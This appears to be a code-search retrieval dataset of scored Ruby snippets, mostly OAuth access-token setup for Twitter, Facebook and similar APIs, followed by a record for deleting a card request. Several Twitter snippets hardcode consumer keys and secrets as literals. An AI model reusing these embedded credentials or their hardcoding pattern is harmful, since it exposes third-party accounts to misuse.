"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new(\"ZIaUkHC2dqpBAxUiUU9w\", \"eO0t8SYwZxrGuYoEC7MJdMbLakMqPMH7vpnj1uC1NM\", { :site => \"http://api.twitter.com\", :scheme => :header})\n\n # now create the access token object from passed values\n token_hash = { :oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret }\n access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n\n return access_token\nend",
"title": ""
},
{
"docid": "c6fec719e763383eabaebb9d03ef32c9",
"score": "0.53125405",
"text": "def initialize(options = {})\n @logger = options[:logger] || Logger.new(STDERR)\n Koala::Utils.logger = @logger\n \n token = options[:token] || get_token(options[:app_id],options[:app_secret])\n @graph = Koala::Facebook::API.new(token)\n @page_size = options[:page_size] || DEFAULT_PAGE_SIZE\n end",
"title": ""
},
{
"docid": "d6c3328122f647ccae28604cc0e47ddd",
"score": "0.531185",
"text": "def set_access_token(token, secret)\n @access_token = OAuth::AccessToken.new(@consumer, token, secret)\n @authenticated = true\n @access_token\n end",
"title": ""
},
{
"docid": "23ea25aabe96a5e26a3e6268c5986641",
"score": "0.52948123",
"text": "def client\n Mogli::Client.new(Network::Facebook.access_token)\n end",
"title": ""
},
{
"docid": "689457ab3eff978ed4a87ca4d256ece7",
"score": "0.5288482",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n \tconsumer = OAuth::Consumer.new(\"YNB1bhMpex4y7ERRuCe8hqCA3\", \"3QezXzBngsbxZgIdJiGXxjZomXFrXLLgULWT8MoFwSDvAJPJcr\", { :site => \"https://api.twitter.com\", :scheme => :header })\n\n # now create the access token object from passed values\n \ttoken_hash = { :oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret }\n \taccess_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n\n return access_token\nend",
"title": ""
},
{
"docid": "88431c65240cf697819747b56a20e488",
"score": "0.52736956",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new(\n \"EFSeTUtEoOHdhlL4qg\", \"JNUeefhAv9avuedoriXRGTNRwUYE1TYRcPUpU8sU\",\n { :site => \"http://api.twitter.com\",\n :scheme => :header\n })\n # now create the access token object from passed values\n token_hash = { :oauth_token => oauth_token,\n :oauth_token_secret => oauth_token_secret\n }\n access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n return access_token\n end",
"title": ""
},
{
"docid": "c4722d9d1ae344e1e7c7dda285e620ad",
"score": "0.5271174",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new(\n CONSUMER_KEY,\n CONSUMER_SECRET,\n {\n :site => \"https://api.twitter.com\",\n :scheme => :header\n }\n )\n\n # now create the access token object from passed values\n token_hash = { :oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret }\n access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n\n return access_token\nend",
"title": ""
},
{
"docid": "be7b875f94d3a16512507be9b57419de",
"score": "0.52526337",
"text": "def initialize(klass = nil)\n @klass = klass\n if @klass.present?\n @client = OAuth::AccessToken.new(consumer, @klass.access_token, @klass.access_secret)\n end\n end",
"title": ""
},
{
"docid": "0e2df6f9a78384670833e2f800080ec0",
"score": "0.52499926",
"text": "def access_token=(token)\n @access_token = token\n end",
"title": ""
},
{
"docid": "c7141529c5e00f6216b74ab0b770993a",
"score": "0.5247861",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new(CONSUMER_KEY, CONSUMER_SECRET, { :site => \"https://api.twitter.com\", :scheme => :header })\n \n # now create the access token object from passed values\n token_hash = { :oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret }\n access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n \n return access_token\nend",
"title": ""
},
{
"docid": "66034fc0ba6a33f4ee5c5c1050e9fca8",
"score": "0.5228494",
"text": "def initialize(klass = nil)\n @klass = klass\n if @klass.present?\n @client = OAuth2::AccessToken.from_hash consumer, JSON.load(@klass.oauth2_token)\n end\n end",
"title": ""
},
{
"docid": "78868148f39582989dcbf8d7928ba727",
"score": "0.5227616",
"text": "def initialize(oauth_token_key, oauth_token_secret, params = {})\n @http_logger = params[:logger]\n site = params[:site] || :prod\n @consumer = ::OAuth::Consumer.new(oauth_token_key,\n oauth_token_secret,\n :scheme => :query_string,\n # :scheme => :header,\n :http_method => :get,\n :site => OAUTH_SITES[site],\n :request_token_path => OAUTH_REQUEST_TOKEN_URL,\n :access_token_path => OAUTH_ACCESS_TOKEN_URL,\n :authorize_path => OAUTH_AUTHORIZATION_URL)\n\n if params[:application_type] == APPLICATION_TYPE_ONSITE\n @access_token = ::OAuth::AccessToken.new(@consumer, \"\", \"\")\n elsif params[:access_token]\n @access_token = ::OAuth::AccessToken.new(@consumer,\n params[:access_token],\n params[:access_token_secret])\n end\n if params[:request_token]\n @request_token = ::OAuth::RequestToken.new(@consumer,\n params[:request_token],\n params[:request_token_secret])\n end\n end",
"title": ""
},
{
"docid": "c5aff5dce1703b2720b5a6b54bebf4c9",
"score": "0.52134997",
"text": "def initialize(client_id:, client_secret:, token:, refresh_token:, expires_at:)\n @basic_token = Base64.strict_encode64(\"#{client_id}:#{client_secret}\")\n\n @oauth2_client = OAuth2::Client.new(client_id, client_secret,\n authorize_url: 'https://www.fitbit.com/oauth2/authorize',\n token_url: 'https://api.fitbit.com/oauth2/token')\n\n opts = { refresh_token: refresh_token,\n expires_at: expires_at }\n @access_token = OAuth2::AccessToken.new(@oauth2_client, token, opts)\n end",
"title": ""
},
{
"docid": "8786d9e46520e14b21655bd0c5730232",
"score": "0.5204013",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new(configatron.consumer_key, configatron.consumer_secret, { :site => configatron.tw_api_url })\n \n token_hash = { :oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret }\n OAuth::AccessToken.from_hash(consumer, token_hash)\n end",
"title": ""
},
{
"docid": "fbb3b35c05838e6a11a5c2425cf8bdd7",
"score": "0.5177079",
"text": "def access_token( user_token = nil, user_secret = nil )\n\t\t( user_token && user_secret ) ? @access_token = OAuth::AccessToken.new( self.consumer, user_token, user_secret ) : @access_token\n end",
"title": ""
},
{
"docid": "b95b7c1c0119c7ccfec35e5f2e4d900f",
"score": "0.5170303",
"text": "def set_access_token\n access_tokens.create(token: SecureRandom.urlsafe_base64(20))\n end",
"title": ""
},
{
"docid": "6b20d5857b7d4f656bf7daa0425ea652",
"score": "0.51506",
"text": "def get_access_token(options={})\n response=consumer.token_request(consumer.http_method,(consumer.access_token_url? ? consumer.access_token_url : consumer.access_token_path),self,options)\n OAuth::AccessToken.new(consumer,response[:oauth_token],response[:oauth_token_secret])\n end",
"title": ""
},
{
"docid": "f7ea44dac74e7be0a43cc0af19ca4c75",
"score": "0.51493484",
"text": "def access_token(provider)\n @provider = Config.send(provider)\n @provider.access_token\n end",
"title": ""
},
{
"docid": "ff70b8825a757e609f93ad0cb2fe3bb1",
"score": "0.5143635",
"text": "def app_token\n uri = URI.parse Facebook.config[:canvas_url] \n canvas_url = uri.host\n # where(\"page_access_token is not null\")\n @tokens ||= AppToken.where(\"platform='Facebook'\").where(\"client_id is not null\").to_a\n @access_token = @tokens.sample # [self.id % @tokens.size]\n end",
"title": ""
},
{
"docid": "d8d783a4f878d3ad7ec657c86f5693e4",
"score": "0.51399016",
"text": "def load_facebook_api\n return if !@facebook_api.nil?\n \n # Find the user token\n auth = authorizations.where(:provider => 'facebook').first\n if !auth.nil?\n @facebook_api = Koala::Facebook::API.new(auth.token)\n else\n raise 'User does not have a Facebook authorization.'\n end\n end",
"title": ""
},
{
"docid": "61f0d55b83d4907d6bef35ce4c57f73f",
"score": "0.5133955",
"text": "def from_access_token\n data = @client.info()\n self.current_user = data unless (data.has_key?('error'))\n end",
"title": ""
},
{
"docid": "93d503b4192bdaf7e669964e57068b68",
"score": "0.5131437",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new( ENV[\"CONSUMER_KEY\"], ENV[\"CONSUMER_SECRET\"], { :site => \"https://api.twitter.com\", :scheme => :header })\n\n # now create the access token object from passed values\n token_hash = { :oauth_token => oauth_token, :oauth_token_secret => oauth_token_secret }\n access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n\n return access_token\n end",
"title": ""
},
{
"docid": "984ef16ee147bf098008eac8617b20c0",
"score": "0.51312685",
"text": "def authenticate(request_token, verifier)\n if request_token.is_a?(OAuth::RequestToken)\n @access_token = request_token.get_access_token(:oauth_verifier => verifier)\n else\n raise OAuth::Error, \"Invalid Request Token\"\n end\n end",
"title": ""
},
{
"docid": "9a1d319435ecdb4f7d7018e2ce2b5220",
"score": "0.5129778",
"text": "def initialize id, access_token\n @id = id\n @access_token = access_token\n\n query\n end",
"title": ""
},
{
"docid": "dfbb71dfc407add5df527541da472f72",
"score": "0.5119256",
"text": "def load_access_token\n return unless File.exist?(FIELDAGENT_ACCESS_TOKEN_FILENAME)\n\n File.read(FIELDAGENT_ACCESS_TOKEN_FILENAME)\nend",
"title": ""
},
{
"docid": "d8222a80bca10ca6499b7c594a34e2e9",
"score": "0.5103078",
"text": "def initialize options={}\n @oauth = Koala::Facebook::OAuth.new \\\n Facebook.config[:app_id], Facebook.config[:secret_key]\n @graph = Koala::Facebook::API.new access_token\n @page = @graph.get_object(Facebook.config[:page_id])\n end",
"title": ""
},
{
"docid": "28f4be5ab706c471b94d72a248f55d58",
"score": "0.5090703",
"text": "def access_token\n Rails.configuration.fb.messenger.access_token\n end",
"title": ""
},
{
"docid": "56b92e7b884685528eba1bf33843d970",
"score": "0.5083453",
"text": "def access_token; self; end",
"title": ""
},
{
"docid": "2d7394cc0ef04281127fcbeb9e7d4591",
"score": "0.5072376",
"text": "def graph\n Koala::Facebook::GraphAPI.new(access_token)\n end",
"title": ""
},
{
"docid": "cb46c59856e6b65c926678b060b0948c",
"score": "0.50582886",
"text": "def new\n @friend_request = FriendRequest.new\n end",
"title": ""
},
{
"docid": "f840277ec687b41867bd79fa2a9bb428",
"score": "0.505575",
"text": "def get_access_token! env\n params = session(env).delete(:access_token_params)\n ::OAuth::AccessToken.from_hash consumer, params if params\n end",
"title": ""
},
{
"docid": "17a82758bd1836adf888db8c97ba4124",
"score": "0.5055027",
"text": "def get_access_token! env\n params = session(env).delete(:access_token_params)\n ::OAuth::AccessToken.from_hash consumer, params if params\n end",
"title": ""
},
{
"docid": "c14602dcd69b2e9f6847e97d723e57ed",
"score": "0.5049955",
"text": "def initialize(access_token:, url:)\n @connection =\n Faraday.new(\n \"#{url}/v1/#{path}/\",\n headers: { 'Authorization' => \"Bearer #{access_token}\" }\n ) do |conn|\n conn.request :multipart\n conn.request :url_encoded\n\n conn.use RaiseError\n conn.use Faraday::Adapter::NetHttp\n end\n end",
"title": ""
},
{
"docid": "1859da553bf6565204879c95a2a89f00",
"score": "0.5048798",
"text": "def access_token\n end",
"title": ""
},
{
"docid": "11159b7afce5828d5e46361fadee08a4",
"score": "0.50438136",
"text": "def initialize(access_key, secret_key)\n @access_key = access_key\n @secret_key = secret_key\n end",
"title": ""
},
{
"docid": "ace18deb112eb96eb21da0985ed2a3b3",
"score": "0.5043298",
"text": "def access_token\n User.create_access_token(self)\n end",
"title": ""
},
{
"docid": "d70f32bcaa9128d18d72fcfe0e5c09be",
"score": "0.50416017",
"text": "def prepare_access_token(oauth_token, oauth_token_secret)\n consumer = OAuth::Consumer.new(\"zuDJxQuK96WA2s0k0g3tqHr6r\", \"PhiNIibo53GYGhXgoWJ1UDBoKDVGqhaeCmTiSWCwz3VKucxfTD\",\n { :site => \"https://api.twitter.com\",\n :scheme => :header\n })\n # now create the access token object from passed values\n token_hash = { :oauth_token => oauth_token,\n :oauth_token_secret => oauth_token_secret\n }\n access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n \n RestClient.add_before_execution_proc do |req, params|\n access_token.sign! req\n end\n\n return access_token\nend",
"title": ""
},
{
"docid": "ea7a718c9858ab7545e9a1265a4e9b42",
"score": "0.50405854",
"text": "def authorize(token, token_secret)\n\t\t\t@access_token = OAuth::AccessToken.new(@client, token, token_secret)\n\t\tend",
"title": ""
},
{
"docid": "38381cea51167bfadaa1af9b9144499c",
"score": "0.50381285",
"text": "def create\n require 'digest/sha1'\n \n @access_token = AccessToken.new\n @access_token.user_id = current_user.id\n @access_token.last_access = Time.now\n @access_token.token = Digest::SHA1.hexdigest Time.now.to_s\n @access_token.active = true\n \n respond_to do |format|\n if @access_token.save\n format.html { redirect_to(@access_token, :notice => 'Access token was successfully created.') }\n format.xml { render :xml => @access_token, :status => :created, :location => @access_token }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @access_token.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1b74e2cde476040d454b0c1e79fee9a8",
"score": "0.5037023",
"text": "def initialize(attributes = {})\n @access_token = attributes['access_token']\n @refresh_token = attributes['refresh_token']\n end",
"title": ""
},
{
"docid": "330557cebd9b4f0480897e1135740e62",
"score": "0.50264466",
"text": "def from_bearer_token(bearer_token)\n Authentication::OAuth2::BearerTokenAuthentication\n .new(bearer_token)\n end",
"title": ""
},
{
"docid": "3403313261c475b7297c9eb9917a9de5",
"score": "0.50250757",
"text": "def initialize(consumer_key, consumer_secret, token, token_secret)\n consumer = OAuth::Consumer.new(consumer_key, consumer_secret, {\n :site => \"https://www.google.com\",\n :scheme => :header\n })\n\n @connection = OAuth::AccessToken.new(consumer,token, token_secret)\n\n @calendars = Calendar.new(@connection)\n end",
"title": ""
},
{
"docid": "5d8c011e564fca55e7842ceb44b3b09d",
"score": "0.50159734",
"text": "def initialize\n @token_type = 'bearer'\n end",
"title": ""
},
{
"docid": "6abd4d9fc4210dbbbb00bff8a1fca1c6",
"score": "0.50062835",
"text": "def authenticate\n Access.new(\n 'access_token' => access_token,\n 'token_type' => token_type,\n 'expires_in' => 1 << (1.size * 8 - 2) - 1 # Max int value\n )\n end",
"title": ""
},
{
"docid": "9cbe6516e1fae3870ea705517f34eed7",
"score": "0.5002421",
"text": "def app_access_token\n @app_access_token ||= oauth_client.get_app_access_token\n end",
"title": ""
},
{
"docid": "4292be41b5bfcadbe0ac464ccb515bba",
"score": "0.4999145",
"text": "def generate_access_token\n self.access_token ||= self.create_access_token\n save && access_token\n end",
"title": ""
},
{
"docid": "495796f9ed7f42084f5fc68629f0e362",
"score": "0.49941817",
"text": "def initialize(tokens_and_secrets = {})\n @oauth = KynetxAmApi::Oauth.new(tokens_and_secrets)\n end",
"title": ""
},
{
"docid": "fd2de839ac082de11c1e765e65e30007",
"score": "0.49829656",
"text": "def initialize(options={})\n @access_token = options[:access_token]\n @connection = Faraday.new(url: Behance::Client::API_URL) do |b|\n b.adapter Faraday.default_adapter\n b.use FaradayMiddleware::ParseJson\n end\n end",
"title": ""
},
{
"docid": "b56d3ba92f5bf967dff5251692f6734c",
"score": "0.49807292",
"text": "def get_token\n begin\n @response = RestClient.post(\n @consumer[:token_request_url],\n client_id: @consumer[:client_id],\n client_secret: @consumer[:client_secret],\n grant_type: @consumer[:grant_type],\n resource: @consumer[:resource]\n )\n\n @consumer[:token] = 'Bearer ' + JSON.parse(@response)['access_token']\n @consumer[:token_expiry] = JSON.parse(@response)['expires_on']\n rescue => error\n puts(\"ERROR - Token Request Failed - #{error}\")\n end\n @consumer[:token]\n end",
"title": ""
},
{
"docid": "ca45526aa467ca7ae4038ab96f7702e0",
"score": "0.49739456",
"text": "def initialize(token, secret)\n @token, @secret = token, secret\n end",
"title": ""
},
{
"docid": "70c815257d8a4341763862cb44bbdbaa",
"score": "0.49657142",
"text": "def initialize(client_id: nil, access_token: nil, with_raw: false)\n if client_id.nil? && access_token.nil?\n raise \"An identifier token (client ID or bearer token) is required\"\n elsif !!client_id && !!access_token\n warn(%{WARNING:\nIt is recommended that only one identifier token is specified.\nUnpredictable behavior may follow.})\n end\n\n headers = {\n \"User-Agent\": \"twitch-api ruby client #{Twitch::VERSION}\"\n }\n unless client_id.nil?\n headers[\"Client-ID\"] = client_id\n end\n unless access_token.nil?\n access_token = access_token.gsub(/^Bearer /, \"\")\n headers[\"Authorization\"] = \"Bearer #{access_token}\"\n end\n \n @conn = Faraday.new(API_ENDPOINT, { headers: headers }) do |faraday|\n faraday.request :json\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n\n @with_raw = with_raw\n end",
"title": ""
},
{
"docid": "a1d5430b4982f30593f5969b724f91ec",
"score": "0.496388",
"text": "def authorize_from_request(request_token, request_secret, verifier)\n oauth_request_token = ::OAuth::RequestToken.new(consumer, request_token, request_secret)\n access_token = oauth_request_token.get_access_token(:oauth_verifier => verifier)\n @access_token, @access_secret = access_token.token, access_token.secret\n end",
"title": ""
},
{
"docid": "21deeb24a4ae407754c52a48e5c4d21a",
"score": "0.49628878",
"text": "def initialize(email, password)\n response = self.class.get '/profile.json', :basic_auth => {\n :username => email,\n :password => password\n }\n \n if response == 'Access Denied'\n raise Ketchup::AccessDenied\n else\n @access_token = response['single_access_token']\n end\n end",
"title": ""
},
{
"docid": "798dcf5ccf4e75ef0a7c009b12bba4a5",
"score": "0.4962566",
"text": "def generate_access_token\n self.access_token = SecureRandom.hex(64)\n end",
"title": ""
},
{
"docid": "cd42af91ab4c7dbefd7eac162824e049",
"score": "0.49530682",
"text": "def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end",
"title": ""
},
{
"docid": "cd42af91ab4c7dbefd7eac162824e049",
"score": "0.49530682",
"text": "def initialize(access_key = nil, secret_key = nil)\n @access_key = access_key\n @secret_key = secret_key\n end",
"title": ""
},
{
"docid": "f31b9f1feb178f392bac9d0aaeabe835",
"score": "0.49436307",
"text": "def access_token\n @access_token\n end",
"title": ""
},
{
"docid": "0eb5f070edcf0a5bc704a057d758db19",
"score": "0.49379385",
"text": "def set_request_token(token, secret)\n @request_token = OAuth::RequestToken.new(@consumer, token, secret)\n end",
"title": ""
}
] |
44bec15bef0196d69d68303bd7f6fac8
|
Delete a card request Permanently delete a card request.
|
[
{
"docid": "53fb0701687989969af8671ba93a71a8",
"score": "0.0",
"text": "def delete_card_using_delete_with_http_info(card_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CardApi.delete_card_using_delete ...'\n end\n # verify the required parameter 'card_id' is set\n if @api_client.config.client_side_validation && card_id.nil?\n fail ArgumentError, \"Missing the required parameter 'card_id' when calling CardApi.delete_card_using_delete\"\n end\n # resource path\n local_var_path = '/nucleus/v1/card/{card_id}'.sub('{' + 'card_id' + '}', card_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CardApi#delete_card_using_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
}
] |
[
{
"docid": "ff0cc1872c73612f610cb61c65b0a661",
"score": "0.6895817",
"text": "def delete card\n @hand.delete(Card.new(card))\n end",
"title": ""
},
{
"docid": "76d24b7ef568b8f83905a35c16f5eb4f",
"score": "0.67819196",
"text": "def delete(request)\n _request(request) { |client, options| client.delete options }\n end",
"title": ""
},
{
"docid": "2d7eaf8e0f159e9779b3d2fd90652467",
"score": "0.6694222",
"text": "def delete(request)\n do_request(request) { |client| client.http_delete }\n end",
"title": ""
},
{
"docid": "33d27a0db0e4aa15b227727383b4aabe",
"score": "0.6684192",
"text": "def delete request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/zones/#{request_pb.zone}/disks/#{request_pb.disk}\"\n\n query_string_params = {}\n query_string_params[\"requestId\"] = request_pb.request_id.to_s if request_pb.request_id && request_pb.request_id != \"\"\n\n response = @client_stub.make_delete_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"title": ""
},
{
"docid": "9869adf8447ce087e3a5c2d51f9a7a9f",
"score": "0.6604274",
"text": "def delete(request)\n request.method = :delete\n request.call\n end",
"title": ""
},
{
"docid": "82a087e935cab392bc91750074237a78",
"score": "0.65714157",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { message('You have successfully deleted this request') }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b846afff8b750ce82db06d5209b49622",
"score": "0.65631396",
"text": "def destroy\n @card.update!(deleted_at: Time.now)\n head :no_content\n end",
"title": ""
},
{
"docid": "ac398c585647b3200c2f1c0183be5f11",
"score": "0.65586704",
"text": "def deleteRequest\n\n end",
"title": ""
},
{
"docid": "d3ad38434b1ef69bcb57391d2659eab5",
"score": "0.65520537",
"text": "def removeCard(card)\n @cards.delete(card)\n end",
"title": ""
},
{
"docid": "7b46a457f17fc1298c2b3e17b292ce2f",
"score": "0.64900625",
"text": "def delete_card\n result = reset_card # Payment::delete_card @acct.token, @acct if @acct.token\n\n # remove card\n unless result \n @acct.errors.add :base, \"Error: There was a problem with your account.\"\n false\n end\n result\n end",
"title": ""
},
{
"docid": "8dcd08faf545c8ebe4588f1bd6347611",
"score": "0.6477236",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "ba479af26fd78254a6a8d2a1e0ea44a6",
"score": "0.6476572",
"text": "def remove_card(card)\n @all_cards.delete(card)\n end",
"title": ""
},
{
"docid": "3cb628c1d63fe910beaf970ffa787ecd",
"score": "0.64716417",
"text": "def destroy\n @card_access.destroy\n end",
"title": ""
},
{
"docid": "bc60ffd074bbb3e6dd774373b0af3b4c",
"score": "0.64698035",
"text": "def delete(*args)\n Request.delete(*args)\n end",
"title": ""
},
{
"docid": "8730c97f4e8bc8729b48af4ac129b10e",
"score": "0.6439948",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to(requests_url) }\n end\n end",
"title": ""
},
{
"docid": "76a5fbc085057feefc374e172ef54d80",
"score": "0.64322084",
"text": "def delete request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "b782f27e10f8eea4cd6ccd34b6fd4a1c",
"score": "0.64018375",
"text": "def delete request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/global/securityPolicies/#{request_pb.security_policy}\"\n\n query_string_params = {}\n query_string_params[\"requestId\"] = request_pb.request_id.to_s if request_pb.request_id && request_pb.request_id != \"\"\n\n response = @client_stub.make_delete_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"title": ""
},
{
"docid": "522e787502895f0a05c9b2c6ca4e5ced",
"score": "0.63841975",
"text": "def delete\n request(:delete)\n end",
"title": ""
},
{
"docid": "fa3c20a90ea1419af2232f845e460f8c",
"score": "0.63782144",
"text": "def delete!\n request! :delete\n end",
"title": ""
},
{
"docid": "497f65df5d52f78dedffed3ee77d69d5",
"score": "0.63616",
"text": "def delete_device request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_device_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "a28d6dc85625b10d2453944fd82b807e",
"score": "0.6348987",
"text": "def delete request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/regions/#{request_pb.region}/routers/#{request_pb.router}\"\n\n query_string_params = {}\n query_string_params[\"requestId\"] = request_pb.request_id.to_s if request_pb.request_id && request_pb.request_id != \"\"\n\n response = @client_stub.make_delete_request(\n uri: uri,\n params: query_string_params,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end",
"title": ""
},
{
"docid": "ea6aec89a0d2ca3da93a05383704f155",
"score": "0.6346934",
"text": "def deleteCard\n if !(Integer(params[:id]) rescue false)\n renderError(\"Not Acceptable (Invalid Params)\", 406, \"The parameter id is not an integer\")\n return -1\n end\n resultsGet = HTTParty.get(\"http://192.168.99.104:3003/credit_card?id=\"+params[:id])\n userA = (resultsGet[\"user_id\"])\n puts(userA)\n puts( @current_user[\"id\"])\n if userA != (@current_user[\"id\"])\n renderError(\"Forbidden\",403,\"current user has no access\")\n return -1\n else\n results = HTTParty.delete(\"http://192.168.99.104:3003/credit_cards?id=\"+params[:id])\n if results.code == 200\n head 200\n else\n render json: results.parsed_response, status: results.code\n end\n end\n end",
"title": ""
},
{
"docid": "f32192bac5e1cab59258fc29f86c4d57",
"score": "0.63375145",
"text": "def delete_entry(cache_id:, request:)\n {\n method: \"CacheStorage.deleteEntry\",\n params: { cacheId: cache_id, request: request }.compact\n }\n end",
"title": ""
},
{
"docid": "fc107951867c1a37c0b43413f6bdc499",
"score": "0.6330216",
"text": "def destroy\n @card.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "a7b0fc49ebc54a4d64ffe475ba6d1714",
"score": "0.6313602",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9252a8806fe800faff956e1ca4e26966",
"score": "0.6307999",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9252a8806fe800faff956e1ca4e26966",
"score": "0.6307999",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9252a8806fe800faff956e1ca4e26966",
"score": "0.6307999",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9252a8806fe800faff956e1ca4e26966",
"score": "0.6307999",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9252a8806fe800faff956e1ca4e26966",
"score": "0.6307999",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9252a8806fe800faff956e1ca4e26966",
"score": "0.6307999",
"text": "def destroy\n @request = Request.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to requests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "477f53d51534071d2ec1f812fc8acd94",
"score": "0.62811023",
"text": "def destroy\n @request = Request.find(params[:id])\n @ride = Ride.find(params[:ride_id]) \n @request.destroy\n RequestMailer.rejected(@request).deliver\n respond_to do |format|\n format.html { redirect_to(@ride, :notice => 'Request was successfully deleted.') }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9a6c9152566e1e1bff11ee7dc34ef3c4",
"score": "0.6273137",
"text": "def destroy\n @payment_request.destroy\n respond_to do |format|\n format.html { redirect_to payment_requests_url, notice: \"#{@payment_request.name} was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5edf9c70a329659b8d112131b7200eaf",
"score": "0.6265216",
"text": "def destroy\n @card_ip.destroy\n end",
"title": ""
},
{
"docid": "94cdb32ed85a1fe8d5fe7912fea376ea",
"score": "0.62493616",
